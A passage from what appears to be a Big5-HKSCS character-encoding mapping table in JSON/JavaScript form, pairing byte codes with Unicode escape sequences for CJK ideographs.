7A7D\u{259AC}\u7ABB\u7AB0\u7AC2\u7AC3\u71D1\u{2648D}\u41CA\u7ADA\u7ADD\u7AEA\u41EF\u54B2\u{25C01}\u7B0B\u7B55\u7B29\u{2530E}\u{25CFE}\u7BA2\u7B6F\u839C\u{25BB4}\u{26C7F}\u7BD0\u8421\u7B92\u7BB8\u{25D20}\u3DAD\u{25C65}\u8492\u7BFA\u7C06\u7C35\u{25CC1}\u7C44\u7C83\u{24882}\u7CA6\u667D\u{24578}\u7CC9\u7CC7\u7CE6\u7C74\u7CF3\u7CF5\u7CCE"],["8ea1","\u7E67\u451D\u{26E44}\u7D5D\u{26ED6}\u748D\u7D89\u7DAB\u7135\u7DB3\u7DD2\u{24057}\u{26029}\u7DE4\u3D13\u7DF5\u{217F9}\u7DE5\u{2836D}\u7E1D\u{26121}\u{2615A}\u7E6E\u7E92\u432B\u946C\u7E27\u7F40\u7F41\u7F47\u7936\u{262D0}\u99E1\u7F97\u{26351}\u7FA3\u{21661}\u{20068}\u455C\u{23766}\u4503\u{2833A}\u7FFA\u{26489}\u8005\u8008\u801D\u8028\u802F\u{2A087}\u{26CC3}\u803B\u803C\u8061\u{22714}\u4989\u{26626}\u{23DE3}\u{266E8}\u6725\u80A7\u{28A48}\u8107\u811A\u58B0\u{226F6}\u6C7F\u{26498}\u{24FB8}\u64E7\u{2148A}\u8218\u{2185E}\u6A53\u{24A65}\u{24A95}\u447A\u8229\u{20B0D}\u{26A52}\u{23D7E}\u4FF9\u{214FD}\u84E2\u8362\u{26B0A}\u{249A7}\u{23530}\u{21773}\u{23DF8}\u82AA\u691B\u{2F994}\u41DB"],["8f40","\u854B\u82D0\u831A\u{20E16}\u{217B4}\u36C1\u{2317D}\u{2355A}\u827B\u82E2\u8318\u{23E8B}\u{26DA3}\u{26B05}\u{26B97}\u{235CE}\u3DBF\u831D\u55EC\u8385\u450B\u{26DA5}\u83AC\u83C1\u83D3\u347E\u{26ED4}\u6A57\u855A\u3496\u{26E42}\u{22EEF}\u8458\u{25BE4}\u8471\u3DD3\u44E4\u6AA7\u844A\u{23CB5}\u7958\u84A8\u{26B96}\u{26E77}\u{26E43}\u84DE\u840F\u8391\u44A0\u8493\u84E4\u{25C91}\u4240\u{25CC0}\u4543\u8534\u5AF2\u{26E99}\u4527\u8573\u4516\u67BF\u8616"],["8fa1","\u{28625}\u{2863B}\u85C1\u{27088}\u8602\u{21582}\u{270CD}\u{2F9B2}\u456A\u8628\u3648\u{218A2}\u53F7\u{2739A}\u867E\u8771\u{2A0F8}\u87EE\u{22C27}\u87B1\u87DA\u880F\u5661\u866C\u6856\u460F\u8845\u8846\u{275E0}\u{23DB9}\u{275E4}\u885E\u889C\u465B\u88B4\u88B5\u63C1\u88C5\u7777\u{2770F}\u8987\u898A\u89A6\u89A9\u89A7\u89BC\u{28A25}\u89E7\u{27924}\u{27ABD}\u8A9C\u7793\u91FE\u8A90\u{27A59}\u7AE9\u{27B3A}\u{23F8F}\u4713\u{27B38}\u717C\u8B0C\u8B1F\u{25430}\u{25565}\u8B3F\u8B4C\u8B4D\u8AA9\u{24A7A}\u8B90\u8B9B\u8AAF\u{216DF}\u4615\u884F\u8C9B\u{27D54}\u{27D8F}\u{2F9D4}\u3725\u{27D53}\u8CD6\u{27D98}\u{27DBD}\u8D12\u8D03\u{21910}\u8CDB\u705C\u8D11\u{24CC9}\u3ED0\u8D77"],["9040","\u8DA9\u{28002}\u{21014}\u{2498A}\u3B7C\u{281BC}\u{2710C}\u7AE7\u8EAD\u8EB6\u8EC3\u92D4\u8F19\u8F2D\u{28365}\u{28412}\u8FA5\u9303\u{2A29F}\u{20A50}\u8FB3\u492A\u{289DE}\u{2853D}\u{23DBB}\u5EF8\u{23262}\u8FF9\u{2A014}\u{286BC}\u{28501}\u{22325}\u3980\u{26ED7}\u9037\u{2853C}\u{27ABE}\u9061\u{2856C}\u{2860B}\u90A8\u{28713}\u90C4\u{286E6}\u90AE\u90FD\u9167\u3AF0\u91A9\u91C4\u7CAC\u{28933}\u{21E89}\u920E\u6C9F\u9241\u9262\u{255B9}\u92B9\u{28AC6}\u{23C9B}\u{28B0C}\u{255DB}"],["90a1","\u{20D31}\u932C\u936B\u{28AE1}\u{28BEB}\u708F\u5AC3\u{28AE2}\u{28AE5}\u4965\u9244\u{28BEC}\u{28C39}\u{28BFF}\u9373\u945B\u8EBC\u9585\u95A6\u9426\u95A0\u6FF6\u42B9\u{2267A}\u{286D8}\u{2127C}\u{23E2E}\u49DF\u6C1C\u967B\u9696\u416C\u96A3\u{26ED5}\u61DA\u96B6\u78F5\u{28AE0}\u96BD\u53CC\u49A1\u{26CB8}\u{20274}\u{26410}\u{290AF}\u{290E5}\u{24AD1}\u{21915}\u{2330A}\u9731\u8642\u9736\u4A0F\u453D\u4585\u{24AE9}\u7075\u5B41\u971B\u975C\u{291D5}\u9757\u5B4A\u{291EB}\u975F\u9425\u50D0\u{230B7}\u{230BC}\u9789\u979F\u97B1\u97BE\u97C0\u97D2\u97E0\u{2546C}\u97EE\u741C\u{29433}\u97FF\u97F5\u{2941D}\u{2797A}\u4AD1\u9834\u9833\u984B\u9866\u3B0E\u{27175}\u3D51\u{20630}\u{2415C}"],["9140","\u{25706}\u98CA\u98B7\u98C8\u98C7\u4AFF\u{26D27}\u{216D3}\u55B0\u98E1\u98E6\u98EC\u9378\u9939\u{24A29}\u4B72\u{29857}\u{29905}\u99F5\u9A0C\u9A3B\u9A10\u9A58\u{25725}\u36C4\u{290B1}\u{29BD5}\u9AE0\u9AE2\u{29B05}\u9AF4\u4C0E\u9B14\u9B2D\u{28600}\u5034\u9B34\u{269A8}\u38C3\u{2307D}\u9B50\u9B40\u{29D3E}\u5A45\u{21863}\u9B8E\u{2424B}\u9C02\u9BFF\u9C0C\u{29E68}\u9DD4\u{29FB7}\u{2A192}\u{2A1AB}\u{2A0E1}\u{2A123}\u{2A1DF}\u9D7E\u9D83\u{2A134}\u9E0E\u6888"],["91a1","\u9DC4\u{2215B}\u{2A193}\u{2A220}\u{2193B}\u{2A233}\u9D39\u{2A0B9}\u{2A2B4}\u9E90\u9E95\u9E9E\u9EA2\u4D34\u9EAA\u9EAF\u{24364}\u9EC1\u3B60\u39E5\u3D1D\u4F32\u37BE\u{28C2B}\u9F02\u9F08\u4B96\u9424\u{26DA2}\u9F17\u9F16\u9F39\u569F\u568A\u9F45\u99B8\u{2908B}\u97F2\u847F\u9F62\u9F69\u7ADC\u9F8E\u7216\u4BBE\u{24975}\u{249BB}\u7177\u{249F8}\u{24348}\u{24A51}\u739E\u{28BDA}\u{218FA}\u799F\u{2897E}\u{28E36}\u9369\u93F3\u{28A44}\u92EC\u9381\u93CB\u{2896C}\u{244B9}\u7217\u3EEB\u7772\u7A43\u70D0\u{24473}\u{243F8}\u717E\u{217EF}\u70A3\u{218BE}\u{23599}\u3EC7\u{21885}\u{2542F}\u{217F8}\u3722\u{216FB}\u{21839}\u36E1\u{21774}\u{218D1}\u{25F4B}\u3723\u{216C0}\u575B\u{24A25}\u{213FE}\u{212A8}"],["9240","\u{213C6}\u{214B6}\u8503\u{236A6}\u8503\u8455\u{24994}\u{27165}\u{23E31}\u{2555C}\u{23EFB}\u{27052}\u44F4\u{236EE}\u{2999D}\u{26F26}\u67F9\u3733\u3C15\u3DE7\u586C\u{21922}\u6810\u4057\u{2373F}\u{240E1}\u{2408B}\u{2410F}\u{26C21}\u54CB\u569E\u{266B1}\u5692\u{20FDF}\u{20BA8}\u{20E0D}\u93C6\u{28B13}\u939C\u4EF8\u512B\u3819\u{24436}\u4EBC\u{20465}\u{2037F}\u4F4B\u4F8A\u{25651}\u5A68\u{201AB}\u{203CB}\u3999\u{2030A}\u{20414}\u3435\u4F29\u{202C0}\u{28EB3}\u{20275}\u8ADA\u{2020C}\u4E98"],["92a1","\u50CD\u510D\u4FA2\u4F03\u{24A0E}\u{23E8A}\u4F42\u502E\u506C\u5081\u4FCC\u4FE5\u5058\u50FC\u5159\u515B\u515D\u515E\u6E76\u{23595}\u{23E39}\u{23EBF}\u6D72\u{21884}\u{23E89}\u51A8\u51C3\u{205E0}\u44DD\u{204A3}\u{20492}\u{20491}\u8D7A\u{28A9C}\u{2070E}\u5259\u52A4\u{20873}\u52E1\u936E\u467A\u718C\u{2438C}\u{20C20}\u{249AC}\u{210E4}\u69D1\u{20E1D}\u7479\u3EDE\u7499\u7414\u7456\u7398\u4B8E\u{24ABC}\u{2408D}\u53D0\u3584\u720F\u{240C9}\u55B4\u{20345}\u54CD\u{20BC6}\u571D\u925D\u96F4\u9366\u57DD\u578D\u577F\u363E\u58CB\u5A99\u{28A46}\u{216FA}\u{2176F}\u{21710}\u5A2C\u59B8\u928F\u5A7E\u5ACF\u5A12\u{25946}\u{219F3}\u{21861}\u{24295}\u36F5\u6D05\u7443\u5A21\u{25E83}"],["9340","\u5A81\u{28BD7}\u{20413}\u93E0\u748C\u{21303}\u7105\u4972\u9408\u{289FB}\u93BD\u37A0\u5C1E\u5C9E\u5E5E\u5E48\u{21996}\u{2197C}\u{23AEE}\u5ECD\u5B4F\u{21903}\u{21904}\u3701\u{218A0}\u36DD\u{216FE}\u36D3\u812A\u{28A47}\u{21DBA}\u{23472}\u{289A8}\u5F0C\u5F0E\u{21927}\u{217AB}\u5A6B\u{2173B}\u5B44\u8614\u{275FD}\u8860\u607E\u{22860}\u{2262B}\u5FDB\u3EB8\u{225AF}\u{225BE}\u{29088}\u{26F73}\u61C0\u{2003E}\u{20046}\u{2261B}\u6199\u6198\u6075\u{22C9B}\u{22D07}\u{246D4}\u{2914D}"],["93a1","\u6471\u{24665}\u{22B6A}\u3A29\u{22B22}\u{23450}\u{298EA}\u{22E78}\u6337\u{2A45B}\u64B6\u6331\u63D1\u{249E3}\u{22D67}\u62A4\u{22CA1}\u643B\u656B\u6972\u3BF4\u{2308E}\u{232AD}\u{24989}\u{232AB}\u550D\u{232E0}\u{218D9}\u{2943F}\u66CE\u{23289}\u{231B3}\u3AE0\u4190\u{25584}\u{28B22}\u{2558F}\u{216FC}\u{2555B}\u{25425}\u78EE\u{23103}\u{2182A}\u{23234}\u3464\u{2320F}\u{23182}\u{242C9}\u668E\u{26D24}\u666B\u4B93\u6630\u{27870}\u{21DEB}\u6663\u{232D2}\u{232E1}\u661E\u{25872}\u38D1\u{2383A}\u{237BC}\u3B99\u{237A2}\u{233FE}\u74D0\u3B96\u678F\u{2462A}\u68B6\u681E\u3BC4\u6ABE\u3863\u{237D5}\u{24487}\u6A33\u6A52\u6AC9\u6B05\u{21912}\u6511\u6898\u6A4C\u3BD7\u6A7A\u6B57\u{23FC0}\u{23C9A}\u93A0\u92F2\u{28BEA}\u{28ACB}"],["9440","\u9289\u{2801E}\u{289DC}\u9467\u6DA5\u6F0B\u{249EC}\u6D67\u{23F7F}\u3D8F\u6E04\u{2403C}\u5A3D\u6E0A\u5847\u6D24\u7842\u713B\u{2431A}\u{24276}\u70F1\u7250\u7287\u7294\u{2478F}\u{24725}\u5179\u{24AA4}\u{205EB}\u747A\u{23EF8}\u{2365F}\u{24A4A}\u{24917}\u{25FE1}\u3F06\u3EB1\u{24ADF}\u{28C23}\u{23F35}\u60A7\u3EF3\u74CC\u743C\u9387\u7437\u449F\u{26DEA}\u4551\u7583\u3F63\u{24CD9}\u{24D06}\u3F58\u7555\u7673\u{2A5C6}\u3B19\u7468\u{28ACC}\u{249AB}\u{2498E}\u3AFB"],["94a1","\u3DCD\u{24A4E}\u3EFF\u{249C5}\u{248F3}\u91FA\u5732\u9342\u{28AE3}\u{21864}\u50DF\u{25221}\u{251E7}\u7778\u{23232}\u770E\u770F\u777B\u{24697}\u{23781}\u3A5E\u{248F0}\u7438\u749B\u3EBF\u{24ABA}\u{24AC7}\u40C8\u{24A96}\u{261AE}\u9307\u{25581}\u781E\u788D\u7888\u78D2\u73D0\u7959\u{27741}\u{256E3}\u410E\u799B\u8496\u79A5\u6A2D\u{23EFA}\u7A3A\u79F4\u416E\u{216E6}\u4132\u9235\u79F1\u{20D4C}\u{2498C}\u{20299}\u{23DBA}\u{2176E}\u3597\u556B\u3570\u36AA\u{201D4}\u{20C0D}\u7AE2\u5A59\u{226F5}\u{25AAF}\u{25A9C}\u5A0D\u{2025B}\u78F0\u5A2A\u{25BC6}\u7AFE\u41F9\u7C5D\u7C6D\u4211\u{25BB3}\u{25EBC}\u{25EA6}\u7CCD\u{249F9}\u{217B0}\u7C8E\u7C7C\u7CAE\u6AB2\u7DDC\u7E07\u7DD3\u7F4E\u{26261}"],["9540","\u{2615C}\u{27B48}\u7D97\u{25E82}\u426A\u{26B75}\u{20916}\u67D6\u{2004E}\u{235CF}\u57C4\u{26412}\u{263F8}\u{24962}\u7FDD\u7B27\u{2082C}\u{25AE9}\u{25D43}\u7B0C\u{25E0E}\u99E6\u8645\u9A63\u6A1C\u{2343F}\u39E2\u{249F7}\u{265AD}\u9A1F\u{265A0}\u8480\u{27127}\u{26CD1}\u44EA\u8137\u4402\u80C6\u8109\u8142\u{267B4}\u98C3\u{26A42}\u8262\u8265\u{26A51}\u8453\u{26DA7}\u8610\u{2721B}\u5A86\u417F\u{21840}\u5B2B\u{218A1}\u5AE4\u{218D8}\u86A0\u{2F9BC}\u{23D8F}\u882D\u{27422}\u5A02"],["95a1","\u886E\u4F45\u8887\u88BF\u88E6\u8965\u894D\u{25683}\u8954\u{27785}\u{27784}\u{28BF5}\u{28BD9}\u{28B9C}\u{289F9}\u3EAD\u84A3\u46F5\u46CF\u37F2\u8A3D\u8A1C\u{29448}\u5F4D\u922B\u{24284}\u65D4\u7129\u70C4\u{21845}\u9D6D\u8C9F\u8CE9\u{27DDC}\u599A\u77C3\u59F0\u436E\u36D4\u8E2A\u8EA7\u{24C09}\u8F30\u8F4A\u42F4\u6C58\u6FBB\u{22321}\u489B\u6F79\u6E8B\u{217DA}\u9BE9\u36B5\u{2492F}\u90BB\u9097\u5571\u4906\u91BB\u9404\u{28A4B}\u4062\u{28AFC}\u9427\u{28C1D}\u{28C3B}\u84E5\u8A2B\u9599\u95A7\u9597\u9596\u{28D34}\u7445\u3EC2\u{248FF}\u{24A42}\u{243EA}\u3EE7\u{23225}\u968F\u{28EE7}\u{28E66}\u{28E65}\u3ECC\u{249ED}\u{24A78}\u{23FEE}\u7412\u746B\u3EFC\u9741\u{290B0}"],["9640","\u6847\u4A1D\u{29093}\u{257DF}\u975D\u9368\u{28989}\u{28C26}\u{28B2F}\u{263BE}\u92BA\u5B11\u8B69\u493C\u73F9\u{2421B}\u979B\u9771\u9938\u{20F26}\u5DC1\u{28BC5}\u{24AB2}\u981F\u{294DA}\u92F6\u{295D7}\u91E5\u44C0\u{28B50}\u{24A67}\u{28B64}\u98DC\u{28A45}\u3F00\u922A\u4925\u8414\u993B\u994D\u{27B06}\u3DFD\u999B\u4B6F\u99AA\u9A5C\u{28B65}\u{258C8}\u6A8F\u9A21\u5AFE\u9A2F\u{298F1}\u4B90\u{29948}\u99BC\u4BBD\u4B97\u937D\u5872\u{21302}\u5822\u{249B8}"],["96a1","\u{214E8}\u7844\u{2271F}\u{23DB8}\u68C5\u3D7D\u9458\u3927\u6150\u{22781}\u{2296B}\u6107\u9C4F\u9C53\u9C7B\u9C35\u9C10\u9B7F\u9BCF\u{29E2D}\u9B9F\u{2A1F5}\u{2A0FE}\u9D21\u4CAE\u{24104}\u9E18\u4CB0\u9D0C\u{2A1B4}\u{2A0ED}\u{2A0F3}\u{2992F}\u9DA5\u84BD\u{26E12}\u{26FDF}\u{26B82}\u85FC\u4533\u{26DA4}\u{26E84}\u{26DF0}\u8420\u85EE\u{26E00}\u{237D7}\u{26064}\u79E2\u{2359C}\u{23640}\u492D\u{249DE}\u3D62\u93DB\u92BE\u9348\u{202BF}\u78B9\u9277\u944D\u4FE4\u3440\u9064\u{2555D}\u783D\u7854\u78B6\u784B\u{21757}\u{231C9}\u{24941}\u369A\u4F72\u6FDA\u6FD9\u701E\u701E\u5414\u{241B5}\u57BB\u58F3\u578A\u9D16\u57D7\u7134\u34AF\u{241AC}\u71EB\u{26C40}\u{24F97}\u5B28\u{217B5}\u{28A49}"],["9740","\u610C\u5ACE\u5A0B\u42BC\u{24488}\u372C\u4B7B\u{289FC}\u93BB\u93B8\u{218D6}\u{20F1D}\u8472\u{26CC0}\u{21413}\u{242FA}\u{22C26}\u{243C1}\u5994\u{23DB7}\u{26741}\u7DA8\u{2615B}\u{260A4}\u{249B9}\u{2498B}\u{289FA}\u92E5\u73E2\u3EE9\u74B4\u{28B63}\u{2189F}\u3EE1\u{24AB3}\u6AD8\u73F3\u73FB\u3ED6\u{24A3E}\u{24A94}\u{217D9}\u{24A66}\u{203A7}\u{21424}\u{249E5}\u7448\u{24916}\u70A5\u{24976}\u9284\u73E6\u935F\u{204FE}\u9331\u{28ACE}\u{28A16}\u9386\u{28BE7}\u{255D5}\u4935\u{28A82}\u716B"],["97a1","\u{24943}\u{20CFF}\u56A4\u{2061A}\u{20BEB}\u{20CB8}\u5502\u79C4\u{217FA}\u7DFE\u{216C2}\u{24A50}\u{21852}\u452E\u9401\u370A\u{28AC0}\u{249AD}\u59B0\u{218BF}\u{21883}\u{27484}\u5AA1\u36E2\u{23D5B}\u36B0\u925F\u5A79\u{28A81}\u{21862}\u9374\u3CCD\u{20AB4}\u4A96\u398A\u50F4\u3D69\u3D4C\u{2139C}\u7175\u42FB\u{28218}\u6E0F\u{290E4}\u44EB\u6D57\u{27E4F}\u7067\u6CAF\u3CD6\u{23FED}\u{23E2D}\u6E02\u6F0C\u3D6F\u{203F5}\u7551\u36BC\u34C8\u4680\u3EDA\u4871\u59C4\u926E\u493E\u8F41\u{28C1C}\u{26BC0}\u5812\u57C8\u36D6\u{21452}\u70FE\u{24362}\u{24A71}\u{22FE3}\u{212B0}\u{223BD}\u68B9\u6967\u{21398}\u{234E5}\u{27BF4}\u{236DF}\u{28A83}\u{237D6}\u{233FA}\u{24C9F}\u6A1A\u{236AD}\u{26CB7}\u843E\u44DF\u44CE"],["9840","\u{26D26}\u{26D51}\u{26C82}\u{26FDE}\u6F17\u{27109}\u833D\u{2173A}\u83ED\u{26C80}\u{27053}\u{217DB}\u5989\u5A82\u{217B3}\u5A61\u5A71\u{21905}\u{241FC}\u372D\u59EF\u{2173C}\u36C7\u718E\u9390\u669A\u{242A5}\u5A6E\u5A2B\u{24293}\u6A2B\u{23EF9}\u{27736}\u{2445B}\u{242CA}\u711D\u{24259}\u{289E1}\u4FB0\u{26D28}\u5CC2\u{244CE}\u{27E4D}\u{243BD}\u6A0C\u{24256}\u{21304}\u70A6\u7133\u{243E9}\u3DA5\u6CDF\u{2F825}\u{24A4F}\u7E65\u59EB\u5D2F\u3DF3\u5F5C\u{24A5D}\u{217DF}\u7DA4\u8426"],["98a1","\u5485\u{23AFA}\u{23300}\u{20214}\u577E\u{208D5}\u{20619}\u3FE5\u{21F9E}\u{2A2B6}\u7003\u{2915B}\u5D70\u738F\u7CD3\u{28A59}\u{29420}\u4FC8\u7FE7\u72CD\u7310\u{27AF4}\u7338\u7339\u{256F6}\u7341\u7348\u3EA9\u{27B18}\u906C\u71F5\u{248F2}\u73E1\u81F6\u3ECA\u770C\u3ED1\u6CA2\u56FD\u7419\u741E\u741F\u3EE2\u3EF0\u3EF4\u3EFA\u74D3\u3F0E\u3F53\u7542\u756D\u7572\u758D\u3F7C\u75C8\u75DC\u3FC0\u764D\u3FD7\u7674\u3FDC\u767A\u{24F5C}\u7188\u5623\u8980\u5869\u401D\u7743\u4039\u6761\u4045\u35DB\u7798\u406A\u406F\u5C5E\u77BE\u77CB\u58F2\u7818\u70B9\u781C\u40A8\u7839\u7847\u7851\u7866\u8448\u{25535}\u7933\u6803\u7932\u4103"],["9940","\u4109\u7991\u7999\u8FBB\u7A06\u8FBC\u4167\u7A91\u41B2\u7ABC\u8279\u41C4\u7ACF\u7ADB\u41CF\u4E21\u7B62\u7B6C\u7B7B\u7C12\u7C1B\u4260\u427A\u7C7B\u7C9C\u428C\u7CB8\u4294\u7CED\u8F93\u70C0\u{20CCF}\u7DCF\u7DD4\u7DD0\u7DFD\u7FAE\u7FB4\u729F\u4397\u8020\u8025\u7B39\u802E\u8031\u8054\u3DCC\u57B4\u70A0\u80B7\u80E9\u43ED\u810C\u732A\u810E\u8112\u7560\u8114\u4401\u3B39\u8156\u8159\u815A"],["99a1","\u4413\u583A\u817C\u8184\u4425\u8193\u442D\u81A5\u57EF\u81C1\u81E4\u8254\u448F\u82A6\u8276\u82CA\u82D8\u82FF\u44B0\u8357\u9669\u698A\u8405\u70F5\u8464\u60E3\u8488\u4504\u84BE\u84E1\u84F8\u8510\u8538\u8552\u453B\u856F\u8570\u85E0\u4577\u8672\u8692\u86B2\u86EF\u9645\u878B\u4606\u4617\u88AE\u88FF\u8924\u8947\u8991\u{27967}\u8A29\u8A38\u8A94\u8AB4\u8C51\u8CD4\u8CF2\u8D1C\u4798\u585F\u8DC3\u47ED\u4EEE\u8E3A\u55D8\u5754\u8E71\u55F5\u8EB0\u4837\u8ECE\u8EE2\u8EE4\u8EED\u8EF2\u8FB7\u8FC1\u8FCA\u8FCC\u9033\u99C4\u48AD\u98E0\u9213\u491E\u9228\u9258\u926B\u92B1\u92AE\u92BF"],["9a40","\u92E3\u92EB\u92F3\u92F4\u92FD\u9343\u9384\u93AD\u4945\u4951\u9EBF\u9417\u5301\u941D\u942D\u943E\u496A\u9454\u9479\u952D\u95A2\u49A7\u95F4\u9633\u49E5\u67A0\u4A24\u9740\u4A35\u97B2\u97C2\u5654\u4AE4\u60E8\u98B9\u4B19\u98F1\u5844\u990E\u9919\u51B4\u991C\u9937\u9942\u995D\u9962\u4B70\u99C5\u4B9D\u9A3C\u9B0F\u7A83\u9B69\u9B81\u9BDD\u9BF1\u9BF4\u4C6D\u9C20\u376F\u{21BC2}\u9D49\u9C3A"],["9aa1","\u9EFE\u5650\u9D93\u9DBD\u9DC0\u9DFC\u94F6\u8FB6\u9E7B\u9EAC\u9EB1\u9EBD\u9EC6\u94DC\u9EE2\u9EF1\u9EF8\u7AC8\u9F44\u{20094}\u{202B7}\u{203A0}\u691A\u94C3\u59AC\u{204D7}\u5840\u94C1\u37B9\u{205D5}\u{20615}\u{20676}\u{216BA}\u5757\u7173\u{20AC2}\u{20ACD}\u{20BBF}\u546A\u{2F83B}\u{20BCB}\u549E\u{20BFB}\u{20C3B}\u{20C53}\u{20C65}\u{20C7C}\u60E7\u{20C8D}\u567A\u{20CB5}\u{20CDD}\u{20CED}\u{20D6F}\u{20DB2}\u{20DC8}\u6955\u9C2F\u87A5\u{20E04}\u{20E0E}\u{20ED7}\u{20F90}\u{20F2D}\u{20E73}\u5C20\u{20FBC}\u5E0B\u{2105C}\u{2104F}\u{21076}\u671E\u{2107B}\u{21088}\u{21096}\u3647\u{210BF}\u{210D3}\u{2112F}\u{2113B}\u5364\u84AD\u{212E3}\u{21375}\u{21336}\u8B81\u{21577}\u{21619}\u{217C3}\u{217C7}\u4E78\u70BB\u{2182D}\u{2196A}"],["9b40","\u{21A2D}\u{21A45}\u{21C2A}\u{21C70}\u{21CAC}\u{21EC8}\u62C3\u{21ED5}\u{21F15}\u7198\u6855\u{22045}\u69E9\u36C8\u{2227C}\u{223D7}\u{223FA}\u{2272A}\u{22871}\u{2294F}\u82FD\u{22967}\u{22993}\u{22AD5}\u89A5\u{22AE8}\u8FA0\u{22B0E}\u97B8\u{22B3F}\u9847\u9ABD\u{22C4C}"],["9b62","\u{22C88}\u{22CB7}\u{25BE8}\u{22D08}\u{22D12}\u{22DB7}\u{22D95}\u{22E42}\u{22F74}\u{22FCC}\u{23033}\u{23066}\u{2331F}\u{233DE}\u5FB1\u6648\u66BF\u{27A79}\u{23567}\u{235F3}\u7201\u{249BA}\u77D7\u{2361A}\u{23716}\u7E87\u{20346}\u58B5\u670E"],["9ba1","\u6918\u{23AA7}\u{27657}\u{25FE2}\u{23E11}\u{23EB9}\u{275FE}\u{2209A}\u48D0\u4AB8\u{24119}\u{28A9A}\u{242EE}\u{2430D}\u{2403B}\u{24334}\u{24396}\u{24A45}\u{205CA}\u51D2\u{20611}\u599F\u{21EA8}\u3BBE\u{23CFF}\u{24404}\u{244D6}\u5788\u{24674}\u399B\u{2472F}\u{285E8}\u{299C9}\u3762\u{221C3}\u8B5E\u{28B4E}\u99D6\u{24812}\u{248FB}\u{24A15}\u7209\u{24AC0}\u{20C78}\u5965\u{24EA5}\u{24F86}\u{20779}\u8EDA\u{2502C}\u528F\u573F\u7171\u{25299}\u{25419}\u{23F4A}\u{24AA7}\u55BC\u{25446}\u{2546E}\u{26B52}\u91D4\u3473\u{2553F}\u{27632}\u{2555E}\u4718\u{25562}\u{25566}\u{257C7}\u{2493F}\u{2585D}\u5066\u34FB\u{233CC}\u60DE\u{25903}\u477C\u{28948}\u{25AAE}\u{25B89}\u{25C06}\u{21D90}\u57A1\u7151\u6FB6\u{26102}\u{27C12}\u9056\u{261B2}\u{24F9A}\u8B62\u{26402}\u{2644A}"],["9c40","\u5D5B\u{26BF7}\u8F36\u{26484}\u{2191C}\u8AEA\u{249F6}\u{26488}\u{23FEF}\u{26512}\u4BC0\u{265BF}\u{266B5}\u{2271B}\u9465\u{257E1}\u6195\u5A27\u{2F8CD}\u4FBB\u56B9\u{24521}\u{266FC}\u4E6A\u{24934}\u9656\u6D8F\u{26CBD}\u3618\u8977\u{26799}\u{2686E}\u{26411}\u{2685E}\u71DF\u{268C7}\u7B42\u{290C0}\u{20A11}\u{26926}\u9104\u{26939}\u7A45\u9DF0\u{269FA}\u9A26\u{26A2D}\u365F\u{26469}\u{20021}\u7983\u{26A34}\u{26B5B}\u5D2C\u{23519}\u83CF\u{26B9D}\u46D0\u{26CA4}\u753B\u8865\u{26DAE}\u58B6"],["9ca1","\u371C\u{2258D}\u{2704B}\u{271CD}\u3C54\u{27280}\u{27285}\u9281\u{2217A}\u{2728B}\u9330\u{272E6}\u{249D0}\u6C39\u949F\u{27450}\u{20EF8}\u8827\u88F5\u{22926}\u{28473}\u{217B1}\u6EB8\u{24A2A}\u{21820}\u39A4\u36B9\u5C10\u79E3\u453F\u66B6\u{29CAD}\u{298A4}\u8943\u{277CC}\u{27858}\u56D6\u40DF\u{2160A}\u39A1\u{2372F}\u{280E8}\u{213C5}\u71AD\u8366\u{279DD}\u{291A8}\u5A67\u4CB7\u{270AF}\u{289AB}\u{279FD}\u{27A0A}\u{27B0B}\u{27D66}\u{2417A}\u7B43\u797E\u{28009}\u6FB5\u{2A2DF}\u6A03\u{28318}\u53A2\u{26E07}\u93BF\u6836\u975D\u{2816F}\u{28023}\u{269B5}\u{213ED}\u{2322F}\u{28048}\u5D85\u{28C30}\u{28083}\u5715\u9823\u{28949}\u5DAB\u{24988}\u65BE\u69D5\u53D2\u{24AA5}\u{23F81}\u3C11\u6736\u{28090}\u{280F4}\u{2812E}\u{21FA1}\u{2814F}"],["9d40","\u{28189}\u{281AF}\u{2821A}\u{28306}\u{2832F}\u{2838A}\u35CA\u{28468}\u{286AA}\u48FA\u63E6\u{28956}\u7808\u9255\u{289B8}\u43F2\u{289E7}\u43DF\u{289E8}\u{28B46}\u{28BD4}\u59F8\u{28C09}\u8F0B\u{28FC5}\u{290EC}\u7B51\u{29110}\u{2913C}\u3DF7\u{2915E}\u{24ACA}\u8FD0\u728F\u568B\u{294E7}\u{295E9}\u{295B0}\u{295B8}\u{29732}\u{298D1}\u{29949}\u{2996A}\u{299C3}\u{29A28}\u{29B0E}\u{29D5A}\u{29D9B}\u7E9F\u{29EF8}\u{29F23}\u4CA4\u9547\u{2A293}\u71A2\u{2A2FF}\u4D91\u9012\u{2A5CB}\u4D9C\u{20C9C}\u8FBE\u55C1"],["9da1","\u8FBA\u{224B0}\u8FB9\u{24A93}\u4509\u7E7F\u6F56\u6AB1\u4EEA\u34E4\u{28B2C}\u{2789D}\u373A\u8E80\u{217F5}\u{28024}\u{28B6C}\u{28B99}\u{27A3E}\u{266AF}\u3DEB\u{27655}\u{23CB7}\u{25635}\u{25956}\u4E9A\u{25E81}\u{26258}\u56BF\u{20E6D}\u8E0E\u5B6D\u{23E88}\u{24C9E}\u63DE\u62D0\u{217F6}\u{2187B}\u6530\u562D\u{25C4A}\u541A\u{25311}\u3DC6\u{29D98}\u4C7D\u5622\u561E\u7F49\u{25ED8}\u5975\u{23D40}\u8770\u4E1C\u{20FEA}\u{20D49}\u{236BA}\u8117\u9D5E\u8D18\u763B\u9C45\u764E\u77B9\u9345\u5432\u8148\u82F7\u5625\u8132\u8418\u80BD\u55EA\u7962\u5643\u5416\u{20E9D}\u35CE\u5605\u55F1\u66F1\u{282E2}\u362D\u7534\u55F0\u55BA\u5497\u5572\u{20C41}\u{20C96}\u5ED0\u{25148}\u{20E76}\u{22C62}"],["9e40","\u{20EA2}\u9EAB\u7D5A\u55DE\u{21075}\u629D\u976D\u5494\u8CCD\u71F6\u9176\u63FC\u63B9\u63FE\u5569\u{22B43}\u9C72\u{22EB3}\u519A\u34DF\u{20DA7}\u51A7\u544D\u551E\u5513\u7666\u8E2D\u{2688A}\u75B1\u80B6\u8804\u8786\u88C7\u81B6\u841C\u{210C1}\u44EC\u7304\u{24706}\u5B90\u830B\u{26893}\u567B\u{226F4}\u{27D2F}\u{241A3}\u{27D73}\u{26ED0}\u{272B6}\u9170\u{211D9}\u9208\u{23CFC}\u{2A6A9}\u{20EAC}\u{20EF9}\u7266\u{21CA2}\u474E\u{24FC2}\u{27FF9}\u{20FEB}\u40FA"],["9ea1","\u9C5D\u651F\u{22DA0}\u48F3\u{247E0}\u{29D7C}\u{20FEC}\u{20E0A}\u6062\u{275A3}\u{20FED}"],["9ead","\u